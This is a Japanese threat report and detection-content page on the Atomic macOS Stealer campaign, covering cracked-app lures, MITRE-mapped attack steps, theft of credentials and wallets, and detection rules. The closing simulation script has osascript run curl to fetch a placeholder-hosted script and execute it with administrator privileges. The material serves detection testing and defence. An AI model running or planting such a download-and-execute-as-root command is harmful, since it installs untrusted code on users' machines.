AMOS スティーラーは「クラックされた」アプリを通じて macOS を標的に
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートでは、Atomic macOS Stealer(AMOS)を配信するキャンペーンについて説明しています。これはクラッキングされたアプリケーションとして偽装されるか、ユーザーにコピー&ペーストの端末コマンドを実行させることによって行われます。実行されると、マルウェアは資格情報、ブラウザ情報、暗号通貨ウォレット、メッセージングアプリケーションのファイル、VPNプロファイル、個人のドキュメントを含む幅広い機密データを収集し、HTTPまたはHTTPS経由で盗まれたコンテンツを抽出します。静的検出を避けるために、運営者はキャンペーンの全体を通じてドメインとURLを回転させます。この活動は、特に非公式または海賊版ソフトウェアを探しているmacOSユーザーを対象としています。
調査
Trend Vision Oneテレメトリを使用して、感染の全過程を再構築しました。これは、 haxmac.ccからのクラッキングされたアプリケーションのダウンロードから始まり、仲介ドメインを介したリダイレクト、悪意のあるシェルスクリプトの実行、持続性のための起動デーモンの作成、 /tmpへのデータのステージング、ZIPアーカイブへの圧縮、および回転する攻撃者に制御されたドメインへのエクスフィルトレーションに至ります。研究者は、それぞれの妥協段階に関連するコマンドライン、ファイルパス、行動指標をキャプチャしました。
緩和策
組織は、クラッキングされたソフトウェアやコピー&ペースト端末コマンドのリスクについてユーザーを教育し、Gatekeeperおよび公証のコントロールを施行し、macOSシステムでの不要なスクリプト実行を制限する必要があります。また、ディフェンダーは疑わしい curl and osascript の活動を監視し、既知の悪意のあるドメインおよびIPアドレスへのアクセスをブロックする必要があります。エンドポイント検出は、無許可の起動デーモン作成、隠しファイルの配置、または異常なファイルの収集やエクスフィルトレーションの行動に焦点を当てるべきです。
対応策
AMOSの活動が検出された場合、影響を受けたエンドポイントを隔離し、悪意のあるプロセスを終了し、隠されたファイルを削除する必要があります。 .helper, .agent、および com.finder.helper.plistのようなファイルを削除し、エクスポート用に準備されたデータステージを削除します。妥協された資格情報は撤回され、回復したアーカイブのフォレンジック分析が実行されるべきです。特定された悪意のあるインフラストラクチャはブロックされ、観察されたコマンドパターンを監視するために検出コンテンツを更新する必要があります。
graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef data fill:#ccffcc %% ノード – アクション(テクニック) step1_initial_access_file[“<b>アクション</b> – <b>T1204.002 ユーザー実行: 悪意のあるファイル</b><br/>被害者はクラックされたアプリケーションを装ったトロイの木馬化された .dmg をダウンロードして実行する。”] class step1_initial_access_file action step2_copy_paste[“<b>アクション</b> – <b>T1204.004 ユーザー実行: 悪意のあるコピー&ペースト</b><br/>被害者はウェブページから Terminal に curl コマンドをコピーし、それによって install.sh がダウンロードおよび実行される。”] class step2_copy_paste action step3_masquerading[“<b>アクション</b> – <b>T1036 偽装</b><br/>マルウェアは正規のクラック済みソフトウェアおよび偽のインストーラーページとして提示される。”] class step3_masquerading action step4_curl_proxy[“<b>アクション</b> – <b>T1218 システムバイナリプロキシ実行</b><br/>正規の curl バイナリが悪意のあるスクリプトを取得する。”] class step4_curl_proxy action step5_osascript_proxy[“<b>アクション</b> – <b>T1216 システムスクリプトプロキシ実行</b><br/>osascript が AppleScript ペイロードを実行してコードを実行する。”] class step5_osascript_proxy action step6_shell_interpreter[“<b>アクション</b> – <b>T1059.004 コマンドおよびスクリプトインタープリタ: Unix Shell</b><br/>シェルコマンドがディレクトリを作成し、ファイルを収集し、データ流出のために curl を呼び出す。”] class step6_shell_interpreter action step7_sudo_abuse[“<b>アクション</b> – <b>T1548.003 権限昇格制御メカニズムの悪用: Sudo および Sudo キャッシュ</b><br/>取得したパスワードが sudo に渡され、root 権限で LaunchDaemon plist が書き込まれる。”] class step7_sudo_abuse action step8_persistence[“<b>アクション</b> – <b>T1569 システムサービス: LaunchDaemon</b><br/>LaunchDaemon(com.finder.helper.plist)がシステム起動時に悪意のある .agent スクリプトを実行する。”] class step8_persistence action step9_defense_evasion[“<b>アクション</b> – <b>T1127 信頼された開発者ユーティリティのプロキシ実行</b><br/>Apple の開発者ユーティリティ(osascript)がペイロード実行に使用され、防御を回避する。”] class step9_defense_evasion action step10_dga[“<b>アクション</b> – <b>T1568.002 動的解決: ドメイン生成アルゴリズム</b><br/>攻撃者はペイロード配信のために多数の .cfd ドメインおよびその他のドメインを切り替える。”] class step10_dga action step11_browser_creds[“<b>アクション</b> – <b>T1555.003 パスワードストアからの認証情報: Web ブラウザ</b><br/>Chrome、Firefox、Edge のログインデータおよび Cookie を抽出する。”] class step11_browser_creds action step12_keychain[“<b>アクション</b> – <b>T1555 パスワードストアからの認証情報</b><br/>macOS Keychain アイテムを抽出する。”] class step12_keychain action step13_wallet_keys[“<b>アクション</b> – <b>T1552.004 秘密鍵</b><br/>暗号通貨ウォレットファイルの窃取。”] class step13_wallet_keys action step14_session_cookies[“<b>アクション</b> – <b>T1550.004 Web セッションクッキー</b><br/>後で再利用するためにセッションクッキーを収集する。”] class step14_session_cookies action step15_archive[“<b>アクション</b> – <b>T1560 収集データのアーカイブ</b><br/>収集されたファイルは out.zip に圧縮される。”] class step15_archive action step16_compression[“<b>アクション</b> – <b>T1027.015 圧縮</b><br/>データは流出前に圧縮される(難読化)。”] class step16_compression action step17_exfil_https[“<b>アクション</b> – <b>T1071.001 アプリケーションレイヤープロトコル: Web プロトコル</b><br/>圧縮されたアーカイブが HTTPS POST を介して攻撃者管理サーバーへアップロードされる。”] class step17_exfil_https action step18_indirect_curl[“<b>アクション</b> – <b>T1202 間接コマンド実行</b><br/>curl コマンドがリモートスクリプトを静かに取得して実行する。”] class step18_indirect_curl action %% ノード – ツール tool_curl[“<b>ツール</b> – <b>名前</b>: curl<br/><b>説明</b>: URL を使用してデータを転送するコマンドラインユーティリティ。”] class tool_curl tool tool_osascript[“<b>ツール</b> – <b>名前</b>: osascript<br/><b>説明</b>: AppleScript または JavaScript for Automation スクリプトを実行する。”] class tool_osascript tool tool_sudo[“<b>ツール</b> – <b>名前</b>: sudo<br/><b>説明</b>: 昇格された権限でコマンドを実行する。”] class tool_sudo tool tool_launchd[“<b>ツール</b> – <b>名前</b>: launchd<br/><b>説明</b>: LaunchDaemon およびエージェントを読み込むための macOS サービスマネージャ。”] class tool_launchd tool %% ノード – ファイルとデータ file_dmg[“<b>ファイル</b> – <b>名前</b>: trojanized.dmg<br/><b>タイプ</b>: クラックされたアプリケーションを装ったディスクイメージ”] class file_dmg file file_install_sh[“<b>ファイル</b> – <b>名前</b>: install.sh<br/><b>タイプ</b>: curl によってダウンロードされたシェルスクリプト”] class file_install_sh file data_out_zip[“<b>データ</b> – <b>名前</b>: out.zip<br/><b>内容</b>: データ流出の準備が整った収集済みファイル”] class data_out_zip data %% フロー接続 step1_initial_access_file –>|ダウンロードして実行| file_dmg file_dmg –>|トリガーする| step1_initial_access_file step1_initial_access_file –>|つながる| step2_copy_paste step2_copy_paste –>|使用する| tool_curl tool_curl –>|ダウンロードする| file_install_sh file_install_sh –>|実行する| step2_copy_paste step2_copy_paste –>|つながる| step3_masquerading step3_masquerading –>|有効化する| step4_curl_proxy step4_curl_proxy –>|使用する| tool_curl tool_curl –>|取得する| step5_osascript_proxy step5_osascript_proxy –>|使用する| tool_osascript tool_osascript –>|実行する| step6_shell_interpreter step6_shell_interpreter –>|呼び出す| step7_sudo_abuse step7_sudo_abuse –>|使用する| tool_sudo tool_sudo –>|書き込む| step8_persistence step8_persistence –>|管理される| tool_launchd tool_launchd –>|実行する| step9_defense_evasion step9_defense_evasion –>|促進する| step10_dga step10_dga –>|提供する| step11_browser_creds step10_dga –>|提供する| step12_keychain step10_dga –>|提供する| step13_wallet_keys step10_dga –>|提供する| step14_session_cookies step11_browser_creds –>|収集される| step15_archive step12_keychain –>|収集される| step15_archive step13_wallet_keys –>|収集される| step15_archive step14_session_cookies –>|収集される| step15_archive step15_archive –>|生成する| data_out_zip data_out_zip –>|圧縮される| step16_compression step16_compression –>|送信される| step17_exfil_https step17_exfil_https –>|使用する| tool_curl tool_curl –>|実行する| step18_indirect_curl step18_indirect_curl –>|完了する| step1_initial_access_file %% スタイル class step1_initial_access_file,step2_copy_paste,step3_masquerading,step4_curl_proxy,step5_osascript_proxy,step6_shell_interpreter,step7_sudo_abuse,step8_persistence,step9_defense_evasion,step10_dga,step11_browser_creds,step12_keychain,step13_wallet_keys,step14_session_cookies,step15_archive,step16_compression,step17_exfil_https,step18_indirect_curl action class tool_curl,tool_osascript,tool_sudo,tool_launchd tool class file_dmg,file_install_sh file class data_out_zip data
攻撃フロー
検出
Dittoの不審な使用:macOSでのファイルアーカイブとエクスフィルトレーション(プロセス生成経由)
表示
TMPディレクトリ内での複数ファイルステージングの可能性(ファイルイベント経由)
表示
Atomic MacOS Stealer – FileGrabber 活動
表示
ChromeログインデータがTMPディレクトリにコピーされた可能性(プロセス生成経由)
表示
IOCs(HashSha1)を検出するためのAMOS Stealerキャンペーン分析:クラッキングされたアプリを通じてmacOSを標的に
表示
IOCs(SourceIP)を検出するためのAMOS Stealerキャンペーン分析:クラッキングされたアプリを通じてmacOSを標的に
表示
IOCs(DestinationIP)を検出するためのAMOS Stealerキャンペーン分析:クラッキングされたアプリを通じてmacOSを標的に
表示
macOSにおけるAMOS Stealer実行の端末コマンド経由の検出 [Linux プロセス生成]
表示
macOSにおけるAMOS Stealer実行のAppleScriptとCurl経由の検出 [Linux プロセス生成]
表示
シミュレーションの実行
前提条件:テレメトリ&ベースラインプレフライトチェックが完了していること。
根拠:このセクションでは、攻撃者の技術(TTP)を引き金にして検出ルールを発動させるための正確な実行を詳細に説明します。コマンドと説明は、識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的とします。抽象的または無関連な例は誤診につながります。
-
攻撃のストーリー&コマンド:
攻撃者は、ショートAppleScriptペイロードを配信するフィッシングルアーを取得しました。スクリプトは、osascriptを使用してシェルコマンドを実行し(sh -c)、curlを呼び出して、悪意のあるC2サーバーからAMOS スティーラーのバイナリをダウンロードし、ユーザーの~/Library/Application Support/フォルダに保存し、その後、より高い権限で実行します。osascript(署名済Appleバイナリ)を使用することで、この活動を合法的な自動化のように見せかけ、さらにcurlによりステルスなネットワークダウンロードが行われます。 -
回帰テストスクリプト:
# amos_stealer_simulation.sh # osascript + curlを使用してmacOSでAMOSスティーラーの実行をシミュレート # 1. 悪意のあるURLを定義する(安全のためには無害なプレースホルダを使用) MALICIOUS_URL="https://example.com/malicious_payload.sh" # 2. AppleScriptがペイロードをダウンロード&実行するシェルコマンドを実行 APPLESCRIPT=$(cat <<'EOF' do shell script "sh -c 'curl -s -o /tmp/payload.sh "https://example.com/malicious_payload.sh" && chmod +x /tmp/payload.sh && /tmp/payload.sh'" with administrator privileges EOF ) # 3. osascriptを介してAppleScriptを実行 echo "$APPLESCRIPT" | osascript # 4. ペイロードが実行されるまで少し待つ sleep 5 -
クリーンアップコマンド:
# cleanup_amos_simulation.sh # シミュレーションによって作成されたアーティファクトを削除 # ダウンロードされたペイロードを削除 rm -f /tmp/payload.sh # 一時的に昇格したプロセスがまだ実行中の場合は取消し pkill -f "/tmp/payload.sh" || true # 任意で、AppleScript実行履歴をクリア # (macOSはosascriptに対する持続的な履歴を保持しません) echo "クリーンアップ完了。"